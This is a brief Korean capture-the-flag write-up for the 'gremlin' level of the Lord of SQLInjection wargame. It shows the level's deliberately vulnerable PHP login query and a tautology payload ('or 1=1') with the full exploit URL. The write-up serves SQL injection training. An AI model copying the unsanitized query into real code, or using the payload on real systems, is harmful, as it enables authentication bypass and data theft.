LOS gremlin

query : select id from prob_gremlin where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

 문제를 보면 해당 테이블에서 아무 데이터만 가져오면 된다.

if($result['id']) solve("gremlin");

where절의 모든 조건을 참으로 만들면 해결

 

 id='gremlin' or 1=1 or '1'='1' and pw='123'

 

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=gremlin%27+or+1=1+or+%271%27=%271&pw=123